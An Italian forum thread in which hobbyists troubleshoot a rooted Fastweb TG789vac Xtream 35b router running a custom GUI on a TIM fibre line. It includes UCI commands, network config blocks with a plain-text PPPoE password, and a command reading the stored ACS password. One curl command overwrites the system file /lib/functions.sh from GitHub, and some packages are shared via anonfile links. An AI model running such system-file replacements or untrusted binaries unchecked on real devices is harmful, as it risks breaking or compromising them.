https://anonfile.com/wbB2Kb4an0/file_log_odt
-
non vedo alcun errore in quel log. assicurati prima di causare l'errore da GUI e solo dopo fare logread, se quello che devi postare sul forum è solo testo utlizza https://ctrlv.it/ o pastebin.com
-
il problema lo avevo causato sia con ppoe che con wifi
https://ctrlv.it/id/199271/3707401638
in ppoe mi dice
Exact data not found in this paths:
Key uci_wan_password : [email protected]
e quando provo ad aprire la tabs wifi si blocca con attendere come se caricasse la pagina ma poi non carica mai
-
controlla se i problemi sono risolti con ultima gui dev
-
no non mi apre la tab wifi e il ppoe da lo stesso errore
Exact data not found in this paths:
Key uci_wan_password : [email protected]
-
@FrancYescO
Non so quanto influisce sull'installazione della gui, ma dal log del comando /etc/init.d/rootdevice debug, c'era un errore con il comando sed in quanto non riconosceva l'opzione -E, per via di una versione di busybox vecchia, se non erro la 1.19. In pratica
root@dsldevice:~# sed
BusyBox v1.23.2 (2017-10-27 22:57:12 UTC) multi-call binary.
Usage: sed [-inrE] [-f FILE]... [-e CMD]... [FILE]...
or: sed [-inrE] CMD [FILE]...
-e CMD Add CMD to sed commands to be executed
-f FILE Add FILE contents to sed commands to be executed
-i[SFX] Edit files in-place (otherwise sends to stdout)
Optionally back files up, appending SFX
-n Suppress automatic printing of pattern space
-r, -E Use extended regex syntax <----- l'opzione -E era mancante
If no -e or -f, the first non-option argument is the sed command string.
Remaining arguments are input files (stdin if none).
-
@kirckc se riesci elencami tutti i path che mancavano, almeno ci assicuriamo di crearli tutti con la gui...
@FrancYescO
Spegnendo e riaccendendo il router , nel TAB Banda Larga e' tutto attivo e si Collega
----------------------
Stato collegamento fisico
Stato DSL Attiva
DSL abilitata
Tempo attività DSL
2 minuti 57 secondi
Velocità massima linea
40.64 Mbps 252.9 Mbps
Velocità linea
21.6 Mbps 216 Mbps
Dati trasferiti
0 MBytes 0 MBytes
Potenza uscita
-25.1 dBm 14.4 dBm
Attenuazione linea
0.1, 1.8, 2.4, 2.8 dB 2.0, 3.9, 11.0 dB
Margine SNR
15.1, 15.1, 15.1, 15.0 dB 10.0, 10.0, 9.9 dB
Connessione internet
Uso VLAN
Notazione
Device Dot
ID VLAN 835---------------
TAB Accesso Internet C'e' Scritto PPP in connessione e resta sempre cosi'
-----------------------
Modalità connessione
Modalità
DHCP routed ***PPPoE*** routedIP staticoBridge
Modifica modalità connessione
Opzioni rilevamento ISP
Rilevamento automatico ISP
ISP rilevato Other
Connessione PPP-------------------------ESCE QUESTA SCRITTA IN ROSSO
Exact data not found in this paths:
Key uci_wan_password : [email protected]
Stato Connessione
Attivato (E' SU ON)
NAT (E' SU ON)
Nome utente *****@00000.agcombores.unica (RESTA QUELLA CHE AVEVO MESSO IO MANUALMENTE, DI QUI NON SI RIESCE AD INSERIRE)
Password Exact path not found! (INVECE NELLO SCRIPT la PASSWORD c'e')
Tag Host univoco
Spoof MAC (MAC WAN) xx:xx:xx:xx:xx:xx (qui c'e' il mio MAC)
Indirizzo IP
Gateway
Server DNS
Trova automaticamente DNS
Server DNS
IP DNS
Aggiungi nuovo server DNS
Statistiche PPP
Pacchetti persi
Exact path not found! [Pkt] Exact path not found! [Pkt]
Pacchetti broadcast
Exact path not found! [Pkt] Exact path not found! [Pkt]
Pacchetti Multicast
Exact path not found! [Pkt] Exact path not found! [Pkt]
Pacchetti Unicast
Exact path not found! [Pkt] Exact path not found! [Pkt]
Pacchetti
Exact path not found! [Pkt] Exact path not found! [Pkt]
Errori
Exact path not found! [Pkt] Exact path not found! [Pkt]
Byte
Exact path not found! [B] Exact path not found! [B]
Pacchetti con protocollo sconosciuto---------------------------------
NEL TAB IMPOSTAZIONI RELAY (CHE AVEVO LASCIATO ABILITATO), ESCE.
------------------------
PPPoE Relay disabilitato------------------------
nel file /etc/config/network
-----------------
config interface 'wan'
option proto 'pppoe'
option demand '0'
option password 'alicenewag'
option macaddr 'xx:xx:xx:xx:xx:xx'
option ipv6 '0'
option peerdns '1'
option reqopts '1 3 6 15 33 42 43 51 121 249'
option keepalive_adaptive '0'
option dns_metric '0'
option username '********@00000.agcombores.unica'
option ifname 'ptm0' <----------- MI HA MODIFICATO L'INTERFACCIA
option auto '1'-------------------------------
POI LO MODIFICO IN
-------------------------------
config interface 'wan'
option proto 'pppoe'
option demand '0'
option password 'alicenewag'
option macaddr 'xx:xx:xx:xx:xx:xx'
option ipv6 '0'
option peerdns '1'
option reqopts '1 3 6 15 33 42 43 51 121 249'
option keepalive_adaptive '0'
option dns_metric '0'
option username '******@00000.agcombores.unica'
option auto '1'
option ifname 'wanptm0'---------------------------------
DOPO CHE HO DATO
uci set network.wan.ifname='wanptm0'
uci commit networkIL TAB Impostazioni Relay DIVENTA DA SOLO
-----------------
PPPoE Relay
Stato ON-----------------
MA GUARDANDO IL TAB NELL'INSIEME C'E' SCRITTO
------------
PPPoE Relay disabilitato------------
E SEMPRE -> PPP in connessione, ENTRO NEL TAB IMPOSTAZIONI RELAY, LO METTO IN OFF (SALVA) , SUBITO DOPO LO METTO IN ON (SALVA) E MAGICAMENTE NEL TAB ACCESSO INTERNET ... PPP CONNESSO ,ANCHE SE ALL'INTERNO C'E'
Key uci_wan_password : [email protected]-------------------------------------
Modalità connessione
Modalità DHCP routed **PPPoE** routedIP staticoBridge
Modifica modalità connessione
Opzioni rilevamento ISP
Rilevamento automatico on
ISP
ISP rilevato Other
Exact data not found in this paths:
Key uci_wan_password : [email protected]
Connessione PPP
Stato
Connesso
Tempo attività
3 minuti 55 secondi
Attivato
NAT
Nome utente ****@00000.agcombores.unica
PassworD Exact path not found! (ESCE SEMPRE QUESTA SCRITTA ME E' CONNESSO)
Tag Host univoco
Spoof MAC (MAC WAN) xx:xx:xx:xx:xx:xx
Indirizzo IP 79.53.2xx.xxx
Gateway 192.168.100.1
Server DNS 85.38.28.6,85.38.28.7
Trova automaticamente DNS (ON)
Server DNS
IP DNS
Aggiungi nuovo server DNS
Statistiche PPP
Pacchetti persi
0 [Pkt] 0 [Pkt]
Pacchetti broadcast
0 [Pkt] 0 [Pkt]
Pacchetti Multicast
0 [Pkt] 0 [Pkt]
Pacchetti Unicast
7235 [Pkt] 6754 [Pkt]
Pacchetti
7235 [Pkt] 6754 [Pkt]
Errori
0 [Pkt] 0 [Pkt]
Byte
1644969 [B] 2625261 [B]
Pacchetti con protocollo sconosciuto
0 [Pkt] -------------------
E ADESSO HO SCRITTO QUESTO MESSAGGIO CON LA CONNESSIONE DEL TG789vac Xtream 35b
-
@larsen64it si lo abbiamo notato e rimpiazzato con altro nelle ultime dev, comunque era di poco conto, ora immagino sia pulito il log di installazione
@kirckc
non mi è chiaro però quando ti ritrovi l'interfaccia cambiata da wanptm0 (quella corretta che ha il tag VLAN) a ptm0, ipotizzando tu voglia fare questa modifica da GUI, dovresti attivare/disattivare il tagging VLAN dalla modal Broadband
Il fatto che ti inizi a funzionare accendendo/spegnendo il pppoe relay credo sia una conseguenza del fatto che facendolo riavvii indirettamente la connessione (e quindi il caricamento dei parametri se li hai modificati a mano dalla config) credo avresti lo stesso risultato accendendo/spegnendo proprio la tab internet
Exact path not found! sulle statistiche ignora, è un bug che c'è anche sulle interfacce ufficiali quando la PPP non è connessa
Riassumendo mi sembra di capire che i problemi che son rimasti son quel
Exact data not found in this paths:
Key uci_wan_password : [email protected]
quelli nella modal WiFi (che almeno ora si apre) e quella del CWMP (la modal rete locale funziona bene?!)
EDIT: @MisterFTTH grazie, mi stavano sanguinando gli occhi :D
-
nel wifi che ora si apre ,non si può modificare alcun parametro e compare questa scritta
Exact data not found in this paths:
Key radius_account_secret : uci.wireless.wifi-radius-server.@ap0_acct0.secret
Key radius_authent_secret : uci.wireless.wifi-radius-server.@ap0_auth0.secret
Key bspeer_wpa_psk_key : [email protected]_psk_key
e la telegestione non si apre .
il DHCP funziona benissimo
-
il DHCP intendi quello su WAN? con fastweb in VDSL o tramite porta WAN?
-
modem collegato con porta wan , si sta facendo passi avanti molto importanti per questo modem grazie di cuore a tutti voi
-
per la telegestione , quando clicco sulla tab viene scritto error500 internal_server_error
-
@kirckc
non mi è chiaro però quando ti ritrovi l'interfaccia cambiata da wanptm0 (quella corretta che ha il tag VLAN) a ptm0, ipotizzando tu voglia fare questa modifica da GUI, dovresti attivare/disattivare il tagging VLAN dalla modal Broadband
Sono certo che sulla Gui era in ON il tagging VLAN e l'ID VLAN su 835 , ma NON ho fatto in tempo a provarlo, non so , comunque con la 9.4.28 va.
@FrancYescO @Ansuel
AGGIORNAMENTI con la Vers. 9.4.28 , Finalmente resta sempre la wanptm0 anche al riavvio. (SIII)
solo che ora .... resta disattivato , E NON C'E' MODO DI ATTIVARLO DA GUI, Il Tasto Accesso a Internet, sono costretto , sempre in SSH
Codice: [Seleziona]
uci set network.wan.auto='1'
uci commit network
Cosi facendo anche spegnendo fisicamente il router , funziona sempre.
Se pigio il tasto ON/OFF di Accesso a internet non fa nulla. se era in ON resta in ON se era in OFF rimane in OFF.
Dopo l'aggiornamento, non ha piu' i repository di Ansuel.
Citazione
Riassumendo mi sembra di capire che i problemi che son rimasti son quel
Exact data not found in this paths:
Key uci_wan_password : [email protected]
si
quelli nella modal WiFi (che almeno ora si apre) e quella del CWMP (la modal rete locale funziona bene?!)
La wifi adesso si apre ma non fa fare nessuna modifica, o meglio le modifiche che fa le mantiene sulla GUI (tipo cambio SSID e Password) ma poi non utilizza i dati immessi , restano i vecchi dati e in alto esce.
Codice: [Seleziona]
Exact data not found in this paths:
Key radius_account_secret : uci.wireless.wifi-radius-server.@ap0_acct0.secret
Key radius_authent_secret : uci.wireless.wifi-radius-server.@ap0_auth0.secret
Key bspeer_wpa_psk_key : [email protected]_psk_key
Alcuni parametri hanno fallito la convalida
se tento di mettere in ON la CWMP mi si chianta la pagina in 'Elaborazione ATTENDI'.
Se apro la pagina mi esce 'Error 500 : INTERNAL_SERVER_ERROR
null'
@MisterFTTH beh ti piace come scrivo i messaggi ? Cosi non dovrai piu' faticare per aggiustare i miei post ....;-)
edit
Con la Nuova GUI sono FINALMENTE riuscito a registrare il Numero TIM, ma ... ovviamente c'e' il ma...
Se Faccio una chiamata o se la ricevo , chiudendo la cornetta, non mi chiude la chiamata, deve per forza chiuderla l'altro interlocutore.
Manca la Sezione SERVIZIO in Telefonia.
-
@MisterFTTH beh ti piace come scrivo i messaggi ? Cosi non dovrai piu' faticare per aggiustare i miei post ....;-)
Le piccole soddisfazioni della vita 8) :P
-
e già ci vogliono anche quelle e presto anche per questo modem la gui sarà perfetta, mancano solo 3 errori da sistemare .
-
poco cambia, lo rimpiazza con IAD che è meglio
(comunque aveva già IAD: https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg252414.html#msg252414)
Se sia meglio la IAD , non te lo so dire con certezza, ma e' tutto il pomeriggio che la IAD mi sta facendo impazzire!!!
leggendo che la versione IAD fosse la migliore , siccome c'era il problema della chiusura della chiamata , ho formattato tutto e messo la versione IAD. configurato tutto di nuovo, si collega a internet , riesco anche a fare traceroute da dentro il modem , ma il PC con il cavo e qualunque cosa collegata in wi-fi , non mi faceva uscire , tutto bloccato.
Rimesso la Versione MOS , che e' quella di questo modem, facendo le varie modifiche e' tornato tutto come prima.
qualcuno mi sa dire come aggiungere i repository di @Ansuel ???
dopo che ho fatto tutte queste modifiche , non c'e' piu' .
mi sapete dire come rimettere l'interfaccia con il Tema GUI verde ??
Volevo provare quella del Fritz! e non mi fa entrare piu' dentro i TAB.
-
Ciao nessuna soluzione ai problemi ancora in essere ?
-
@kirckc non ho capito molto cosa vuoi fare ma soprattutto cosa ti e' cambiato tra mettere la versione IAD e MOS... non so se c'e' anche una differenza di pacchetti ma e' molto probabile che alla fine IAD e MOS una volta installata la GUI diventano praticamente identici, la versione IAD e' meglio semplicemente perche' di default ha piu' funzionalita' tra cui in primis proprio il VoIP che MOS non prevede (ma forse e' comunque attivabile con GUI...)
Comunque ho postato qui una prova da fare per vedere se cambia qualcosa riguardo i vari errori
https://github.com/Ansuel/tch-nginx-gui/issues/529#issuecomment-528075176
-
@kirckc non ho capito molto cosa vuoi fare ma soprattutto cosa ti e' cambiato tra mettere la versione IAD e MOS... non so se c'e' anche una differenza di pacchetti ma e' molto probabile che alla fine IAD e MOS una volta installata la GUI diventano praticamente identici, la versione IAD e' meglio semplicemente perche' di default ha piu' funzionalita' tra cui in primis proprio il VoIP che MOS non prevede (ma forse e' comunque attivabile con GUI...)
sulla MOS sono riuscito a configurare il VoIP solo che non si riesce a chiudere la telefonata in corso, resta sempre in linea.
Con la IAD non sono riuscito a far navigare il PC , come se mancasse qualcosa nella tabella di routing , di conseguenza non sono riuscito a provare la parte VoIP, volevo vedere se si risolveva il problema con la versione IAD.
-
Ma con che tipo di connessione li stai configurando? Le configurazioni le stai mettendo tutte da interfaccia tramite le pagine broadband e internet?
-
Ciao , novità con l'errore in pppoe , in wifi che non si possono modificare i valori e in telegestione ?
-
Ma con che tipo di connessione li stai configurando? Le configurazioni le stai mettendo tutte da interfaccia tramite le pagine broadband e internet?
01) Connessioni TIM FIBRA FTTC in PPPoE
02) No , dall'interfaccia non si riesce a far funzionare, edito il file network , elimino tutto quello che c'e' (nella sezione wan) e metto questo che mi sono creato
config interface 'wan'
option proto 'pppoe'
option demand '0'
option password 'alicenewag'
option macaddr 'xx:xx:xx:xx:xx:xx'
option ipv6 '0'
option peerdns '1'
option reqopts '1 3 6 15 33 42 43 51 121 249'
option keepalive_adaptive '0'
option dns_metric '0'
option username '******@00000.agcombores.unica'
option auto '1'
option ifname 'wanptm0'
non si puo' fare nulla per incorporarla nelle gui DEV ?
-
con dev 9.4.31 dovrebbero essere risolti gli altri problemi... scrivete se notate altro
@kirckc fammi capire anche se ora riesci a configurabile tutto da GUI
-
tutto ok tranne la telegestione che non ha i parametri di default quindi non so cosa mettere nella stringa password connessione , gli altri li ho copiati dal 4132 che li aveva gia di default e comunque manca indirizzo nome utente e password ACS oltre agli altri parametri mancanti quindi non si attiva rimane in off
-
tanto la telegestione al 99% continuera' a funzionare solo con fastweb (che autoimposta l'url via DHCP), se vuoi provare metti https://regman-mon.interbusiness.it:10800/acs/ che e' quello di TIM user e password a caso e interval 300000 ma dubito fortemente serva a qualcosa impostarlo.
-
Se volete Provo io, il nome utente l'ho trovato, ma la 'Password ACS' e la 'Password connessione' sono con gli asterischi , come li posso leggere da un router DGA4130 Funzionante ?
-
uci get cwmpd.cwmpd_config.acs_pass
-
tanto la telegestione al 99% continuera' a funzionare solo con fastweb (che autoimposta l'url via DHCP), se vuoi provare metti https://regman-mon.interbusiness.it:10800/acs/ che e' quello di TIM user e password a caso e interval 300000 ma dubito fortemente serva a qualcosa impostarlo.
ho inserito i dati con le 2 Login e le 2 Password , ma e' 1 ora e 15 minuti che e' collegato e i dati del VoIP, nemmeno l'ombra. Mi sa che NON fa il provisioning.
-
Dove devo digitare uci get cwmpd.cwmpd_config.acs_pass?
-
@kirckc infatti non avevo molti dubbi a riguardo.. comunque puoi guardare il log degli errori con logread | grep cwmp ma vi anticipo che penso sia solo una perdita di tempo cercare di capire cosa non va.. il provisioning degli operatori è fatto per funzionare solo con i modem da loro certificati/distribuiti.
le config sono da mettere a mano su tutti gli altri, in particolar modo su questi "accrocchi moddati"
-
ho notato che con ultima dev c'è rimasto solo telstra nelle estensioni ,gli altri sono spariti
-
Ciao @FrancYescO , riusciamo a risolvere il problema della connessione wan ?
se va via la corrente o si riavvia il router, non si collega piu'.
e' necessario andare in BANDA LARGA-> USO VLAN -> OFF ->SALVA
subito dopo riattivare USO VLAN -> ON -> SALVA
poi andare nel TAB IMPOSTAZIONI RELAY ->STATO -> ON (perche' lo mette sempre in OFF) -> SALVA
-
ma lo tieni configurato in bridge? senza attivare il relay la connessione diretta funziona?
-
No che Bridge , il cavo telefonico , linea TIM Fibra FTTC, e' collegato direttamente al modem interno, presa Grigia DSL.
poi si sincronizza la VDSL2, lo metto in PPPoE Routed con Login e Password di TIM, porto la VLAN in ON e lascio ID 835, poi attivando Relay in ON mi da l'indirizzo IP Pubblio e funziona la connessione. Se va via la corrente o se riavvio sono costretto tutte le volte a fare quello che ho scritto nel post precedente
-
il relay non dovrebbe azzeccarci nulla... ho bisogno che mi confermi che tutto continua a funzionare anche non toccando quello switch del relay o comunque della differenza nei file di config (/etc/config/network) ogni volta che prima e dopo che fai quelle operazioni
-
Buonasera a tutti ,possiedo un TG789vac Xtream 35b fastweb ,volevo sapere se è possibile modificare il firmware per farlo funzionare con la fibra di tim. ho cercato nei vari forum ma credo di essere più confuso che altro. qualcuno sarebbe così gentile da consigliarmi la guida corretta?? grazie
-
il relay non dovrebbe azzeccarci nulla... ho bisogno che mi confermi che tutto continua a funzionare anche non toccando quello switch del relay o comunque della differenza nei file di config (/etc/config/network) ogni volta che prima e dopo che fai quelle operazioni
Nella sezione WAN di /etc/config/network , prima di riavviare e' cosi' ....
option ifname 'wanptm0'
se do semplicemente REBOOT o spengo ed accendo il router diventa :
option ifname 'ptm0'
sono costretto a :
BANDA LARGA-> USO VLAN -> OFF ->SALVA (quindi l'interfaccia grafica e' su ON , ma nello script e' in OFF)
subito dopo riattivare USO VLAN -> ON -> SALVA (ora e' effettivamente su ON , scrive sul file '/etc/config/network' option ifname 'wanptm0' e quindi riparte la connessione internet.
P.S. se lo faccio graficamente non serve spegnere e accendere il RELAY, se lo faccio modificando a mano il file etc/config/network, SI.
P.P.S. al momento ho la GUI_dev 9.4.65 appena scaricata e il firmware 16.2.8706 Versione MOS, con la IAD non si collega in nessun modo
-
Buonasera a tutti ,possiedo un TG789vac Xtream 35b fastweb ,volevo sapere se è possibile modificare il firmware per farlo funzionare con la fibra di tim. ho cercato nei vari forum ma credo di essere più confuso che altro. qualcuno sarebbe così gentile da consigliarmi la guida corretta?? grazie
si , io lo sto utilizzando, non c'e' una guida , segui tutto questo post.
devi installare l'ultimo firmware 16.2.8706 e la GUI di Ansuel la versione dev altrimenti non vedi nessun TAB
-
da quanto ho capito @ghedo75 lo ha connesso con versione IAD, sarebbe da capire le differenze a livello di pacchetti e compagnia tra le due (se sono solo a livello di interfaccia ce ne freghiamo e si usa MOS) ... magari avevi altre configurazioni sporche e se provavi a resettare e reinstallare riuscivi a connetterlo anche con la IAD
allo stesso modo bisogna capire lo script che causa la reimpostazione da wanptm0 a ptm0 al reboot e se hai entrambi i wansensing di internet e banda larga disattivati, è un po una caccia al tesoro sui vari file del firmware...
-
Tu posso dire che ho caricato dalla pagina del ruter l'ultimo firmware IAD reperibile qualche pagina fa scaricato e installato poi col programma winscp sono entrato nella root ed ho installato l'ultima gui dev seguendo la guida del 4132 e funziona tutto
-
forse il tuo router partiva come router IAD a me partiva come router MOS
-
si il mio è iad voip di fastweb
-
ma non c'entra cosa era! una volta piazzato il firmware diverso e fatto un reset di differenza, soprattutto dopo aver messo la GUI custom, non ne rimane alcuna.
Ma io non ho questo dispositivo, mi baso sui vostri feedback per capire cosa succede..
-
@FrancYescO la gui custom è la nostra classica adesso arrivata alla 9.4.70 stabile? Sai che c'è rimasto solo una estensione da poter installare ?
-
È voluto, semplicemente non erano compatibili.
Tutti i fix che erano stati fatti sono stati inclusi nell'attuale nuova stabile 9.4.70, quindi ora anche installando la stable non si hanno più tutti i problemi che c'erano prima.
-
Buonasera, ho ricevuto questo modem in regalo da un amico ex-Fastweb, ho già installato la GUI di Ansuel e successivamente aggiornato all'ultima versione firmware. Ho notato che la versione di OpenWrt non è la solita 15.05 ma 12.09.1, quindi mi chiedevo dove posso trovare dei pacchetti da installare?
-
Eh… mi sa che devi compilarteli, puoi provare giusto qualche pacchetto di quelli per VBNT-K/S Homeware 17.x cioè agtef/hp <= 2.0.x che sono fatti per openwrt 15 ma è tutta un'incognita. Gli altri vecchi device mips con firmware su base openwrt 12 o 14 possono usare i pacchetti ufficiali prendendoli uno ad uno con le pinze, ma qui essendo ARM sei un po' da solo
-
Ho provato ad installare terminfo (per poi installare nano) da qua https://repository.ilpuntotecnico.com/files/roleo/public/agtef/brcm63xx-tch/packages/
L'installazione non va a buon fine recitando :
//usr/lib/opkg/info/terminfo.postinst: line 4: default_postinst: not found
Collected errors:
* pkg_run_script: package "terminfo" postinst script returned status 127.
* opkg_configure: terminfo.postinst returned 127.
Idee su come risolvere? O meglio lasciar stare?
-
Meglio lasciar perdere, da quello che vedo non riesce proprio a gestire il pacchetto, del resto c'è una differenza abissale in termini di versioni.
-
curl https://raw.githubusercontent.com/FrancYescO/tch_firmware_extracted/ae75f27c74bb14a1e085e262bdccd1301f3353e4/lib/functions.sh -o /lib/functions.sh
-
Provato quello che diceva Francesco, l'installazione va a buon fine, ma il pacchetto Nano non funziona perché
symbol '__ctype_b': can't resolve symbolImmagino che vadano compilati da zero visto che mancano probabilmente molte cose nel file system, ma io non me ne intendo :rotfl: Quindi per adesso niente pacchetti
-
Prova qualcosa del tipo
export LD_LIBRARY_PATH='/data/lib:/data/usr/lib:/lib:/usr/lib'
nano
-
mettendosi un pò di impegno e facendo accrocchi vari si potrebbe riprodurre l'overlay di openwrt 15...
-
Io questo posso usarlo per test, quindi se c'è bisogno sono qua, basta che mi dite cosa fare.
Comunque neanche la soluzione di Larsen funziona. FrancYescO per quanto riguarda eventuali bug della GUI li riporto su GitHub?
-
@FrancYescO
Cioè fare qualcosa tipo entware?
Comunque se fate una ricerca con "Bleeding Edge openwrt" trovate anche versioni di openwrt precedenti a CC con il supporto di mvebu.
-
buonasera ma anche a voi compare solo una estensione da poter installarte?
-
E' quello che si dibatteva nei post precedenti. Su questo router gira una versione molto vecchia di openwrt in cui, almeno nella versione stabile, non esiste il supporto per l'architettura di questo router. Quindi non esiste una repository di pacchetti compilati/precopilati e di conseguenza niente app. Bisognerebbe andare a trovare nei meandri degli archivi di openwrt una versione snapshot in cui i pacchetti siano più o meno "sincronizzati" con quelli installati nel router. Poi ci vorrebbe una congiunzione astrale, per cui un possessore di questo router abbia la volontà/capacità di sviluppare il tutto.
P.S. Tonino Guerra è morto.
P.S.2 Mille e non più mille post
-
Ciao a tutti,
qualcuno mi sa chiarire qualcosa di questo TG789vac Xtream 35b ?
Esternamente è uguale al modello Technicolor DGA 4130 che Tim chiama Smart Modem Plus: inconfondibile il pannello posteriore con la presenza delle due porte usb e la disposizione dei connettori, il supporto per il profilo 35b completa il quadro.
Mi chiedevo allora perché porti il nome del modello inferiore della Technicolor, il TG789vac con 256 Mb di ram che supporta il profilo 17a.
Ho trovato un’offerta interessante e vorrei acquistarlo, ma mi servirebbe capire se posso farlo funzionare su una Vdsl Tim, cosa che, con l’avvento del modem libero dovrebbe essere scontata ma, meglio chiedere …
-
Sbloccandolo come descritto i questo topic puoi, Fastweb di base non lo permette.
Questo dispositivo è praticamente uguale al 4130, è penalizzato dal software vecchio e dalla nand più piccola
-
Sbloccandolo come descritto i questo topic puoi, Fastweb di base non lo permette.
Per poterlo usare con altri operatori, nel caso avesse un firmware datato, dovrei collegarlo ad una linea Fastweb, e far sì che si aggiorni per apportare le modifiche imposte da Agcom con la delibera sul modem libero ?
Questo dispositivo è praticamente uguale al 4130, è penalizzato dal software vecchio e dalla nand più piccola
Software vecchio rispetto a quello che Tim rende disponibile attualmente nel suo modem ?
-
Non esiste firmware per questo modem che permetta configurazione generica, e dubito esisterá in futuro dato che è un modem non più mantenuto da Fastweb, ciò e reso possibile solo dal root e modifiche "amatoriali" con gui mod come puoi leggere nelle ultime pagine.
Il firmware è fermo a due anni fa o più, quelli di TIM sono aggiornati tutt'ora.
PS. Da quanto ne so nemmeno sui modelli più attuali (askey, 4131, FGA..) Fastweb mette a disposizione un firmware sbloccabile per tutti gli operatori
-
Che sul router non più manutenuto non sia possibili apportare le modifiche imposte dalla legge mi pare anche giustificabile, ma su quelli più recenti sarebbe violare le norme dell'autorità delle telecomunicazioni ...
-
L'unico mantenuto (per così dire) è 'ultimo, quello GPON, che comunque non puoi usare con altri gestori per limiti intrinseci, quindi l'autorità non può lamentarsi di nulla.
-
Quali sarebbero questi limiti intrinseci che permettono di usare i parametri di configurazione di un provider ma non quelli di un altro di lui concorrente ? :)
-
Il fastgate gpon integra un ont. La libertà di ONT non è prevista dalla legge. L'ont che usi deve essere quello del modello hw/fw per cui la tua porta in centrale è configurata, pur con qualche minima libertà di movimento tra dispositivi molto simili/stessa marca/firmware simili. La legge dice, a proposito degli ONT, che se l'utente lo desidera, il provider deve fornirne uno basico che consenta l'utilizzo di un proprio router, e questo fastweb lo fa. Esempio: se compri un ONT sbloccato (o sblocchi il fastgate gpon, cosa attualmente impossibile) e conosci i parametri di quello che stai usando anche impostandoli sul tuo questo non si connette perchè il profilo non matcha. Dovresti a quel punto chiamare fastweb e chiedere che implementino il supporto al tuo ont e che riconfigurino la tua porta in modo che sappia come gestirlo. Se lavori in fastweb puoi farlo da te, se sei un normale cliente no. Credo abbiano smesso di aggiornare il precedente fastgate (quello nero senza ont) per poter dire che non è più in sviluppo e non implementare una funzione di sblocco. Poco male comunque, in quello siamo già entrati.
-
L'Ont è un dispositivo fisico associato alle linee in fibra ottica ... io parlavo di parametri software del firmware ...
-
Infatti, il limite intrinseco sta nel fatto che il nuovo router integra l'ONT quindi sei di conseguenza vincolato a prescindere. Aggiungo che il limite all'ont non è dovuto ad una sua specificità hardware ma a parametri comuqnue software dall'altro capo della linea.
-
Ho letto che ha quanto pare il problema di questo dispositivo per quanto riguarda i pacchetti OpenWRT è il fatto che
packages are complied without support for NLS
fonte forum whirlpool. Nella discussione stavano parlando di un Technicolor Telia ma il firmware base è lo stesso (16.2 Jade), e cercando meglio ho trovato questa repo https://github.com/jirgais/agevo che dovrebbe funzionare, ma non riesco a effettuare un opkg update (Penso per il solito problema del wget e dell'https). Pensate che compilare usando gli strumenti in quella repo sia la strada giusta?
-
magari prima di andare oltre prova semplicemente piazzando uno di quei pacchetti gia' compilati in quella repo in /tmp e installa direttamente con opkg install /tmp/pacchetto.ipk
comunque ci sono buonissime possibilita'
-
Nada, OpenSSL sembra non funzionare:
openssl: symbol 'd2i_OCSP_REQUEST': can't resolve symbol
openssl: symbol 'OCSP_RESPONSE_new': can't resolve symbol
openssl: symbol 'd2i_OCSP_RESPONSE': can't resolve symbol
openssl: symbol 'i2d_OCSP_REQUEST': can't resolve symbol
openssl: symbol 'i2d_OCSP_RESPONSE': can't resolve symbol
openssl: symbol 'OCSP_REQUEST_new': can't resolve symbol
-
Non so quali repository stai usando, ma potresti provare con quelli di CC 15.05 che sono un ibrido tra quelli di BB e CC 15.05.1
-
I pacchetti devono essere ricompilati sulla libreria C corretta altrimenti non ve la cavate. E' tutto possibile, clonate 12.09.1 vi cercate a mano tutti i vecchi pacchetti non più disponibili online dalle sorgenti dell'epoca e ci mettete dentro il solito kernel 3.4.11. E' un lavoraccio.
-
Concordo con il lavoraccio. Credevo che i fw più aggiornati erano basati su BB, in questo caso in base alla revisione (cat /etc/openwrt_release) qualche cosa si potrebbe fare se è addirittura su AA direi di concludere con un caloroso CIAO.
-
Per chi ha voglia di provare github di openwrt per arm basato su attitude adjustment.
https://github.com/jimmychungbelkin/Mamba/tree/attitude_adjustment
-
Piccola prova: openssh-sftp-server
https://anonfile.com/f5je30M1n3/openssh-sftp-server_6.1p1-1_brcm63xx-tch_ipk
Chi può e chi vuole mi faccia sapere.
-
Ciao a tutti.
Ho appena rootato questo router ed installato la Gui di Asuel. Grandissima mod che permette di divertirsi con OpenWRT!
L'utilizzo che vorrei fare di questo device è il seguente:
Access Point WiFi
ATA Voip con Messagenet
Attualmente ci sono riuscito solamente utilizzandolo in doppio NAT e perdendo l'ipv6 che mi da il router G-PON di Fastweb.
Si può in qualche modo istruire il Voip ad utilizzare l'interfaccia 'lan' per funzionare?
Se no, almeno un modo per scavalcare il NAT con ipv6?
Un'altra domanda: a che serve la GUI Telstra?
Scusate le domande a raffica, ma ho provato svariate configurazione del file /etc/config/network, a volte anche provando a smanacciare su /etc/config/firewall, ma senza risultati...
-
La GUI Telstra serve ad avere un'altra interfaccia grafica, chepiaccia o meno (e sempre che funzioni a dovere su questo dispositivo)
Se installi ultima versione dev della GUI puoi impostare l'interfaccia del VoIP da quest'ultima o comunque ti basta modificare il file /etc/config/mmpbxdsipnet (una cosa simile insomma)
-
@FrancYescO grazie mille
ho modificato subito il file di configurazione del voip e ha cominciato a funzionare
comunque ho installata la versione dev, ma la tendina dell'interfaccia nella Tab del Voip non funziona
per l'IPv6 invece credo debbano risettarmelo da centrale perchè anche altri router con OpenWrt, che fino a ieri prendevano IPv6 (sia sotto DV2200 che sotto TG789vac Xtream 35b), adesso non lo prendono più.
forse dovrei fare come ultima prova agganciarmi al WiFi del Fastgate...domattina provo
EDIT:
ho contattato Fastweb via Facebook per farmi ripristinare IPv6 e stamattina tutto funziona. IP pubblico ancora non me lo hanno attivato ma spero arriverà.
circa il Voip, devo confermare il bug già menzionato in precedenza: ataccando il telefono la chiamata resta attiva all'interlocutore dall'altra parte che deve per forza attaccare manualmente. Potrebbe essere dovuto a qualche file di configurazione?
In qualche altro thread pensate che riesco a trovare i file di configurazione usati da altri operatori? magari con una righetta di codice si risolve...
-
forse puo' aiutarti /etc/config/mmpbxbrcmfxsdev
questo e' quello del timhub, ma piuttosto che rimpiazzarlo cerca di capire le differenze
https://raw.githubusercontent.com/FrancYescO/tch_firmware_extracted/AGTHP_2.2.0_CLOSED/etc/config/mmpbxbrcmfxsdev
-
Devi far combaciare i toni di disconnessione.
-
trovato
option delayed_disconnect '0'
nella configurazione del mio era settato su '1'
grazie mille
-
@larsen64it Appena fatta la prova, il pacchetto funziona.
-
Ciao @lorenzocanalelc
